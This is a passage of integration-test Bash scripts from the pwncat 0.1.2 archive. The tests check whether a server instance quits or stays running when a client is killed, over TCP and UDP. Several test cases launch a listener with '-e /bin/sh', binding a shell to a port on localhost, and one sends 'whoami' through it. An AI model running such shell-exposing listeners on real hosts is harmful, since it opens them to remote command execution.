"${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/5) Transfer: Server -> Client" # [SERVER -> CLIENT] wait_for_data_transferred "" "${data}" "${data_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/5) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(5/5) Test: Server shut down automatically" # [SERVER] Ensure Server has quit automatically test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done 003---tcp---server_quits---when_client_is_killed---server_command---before_send.sh000077500000000000000000000161771414025024700420420ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### #data="abcdefghijklmnopqrstuvwxyz1234567890\\n" #data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(3/4) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Server shut down automatically" # [SERVER] Ensure Server has quit automatically test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -e /bin/sh " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done 004---tcp---server_quits---when_client_is_killed---server_command---after_client_sent_command.sh000077500000000000000000000170211414025024700447430ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/5) Transfer: Client -> Server -> Client" # [CLIENT -> SERVER -> CLIENT] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(3/4) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server shut down automatically # -------------------------------------------------------------------------------- print_h2 "(4/4) Test: Server shut down automatically" # [SERVER] Ensure Server has quit automatically test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -e /bin/sh " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done 100---udp---server_stays---when_client_is_killed---server_default---before_send.sh000077500000000000000000000171301414025024700420340ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" #local data= #local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### #data="abcdefghijklmnopqrstuvwxyz1234567890\\n" #data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(3/5) Stop: Client" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(4/5) Test: Server stays alive" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(5/5) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "2" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "4" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "12" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" # no verbosity run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done 101---udp---server_stays---when_client_is_killed---server_default---after_client_sent_data.sh000077500000000000000000000201531414025024700442420ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/02-behaviour-quit--server#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/6) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/6) Start: Client" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} 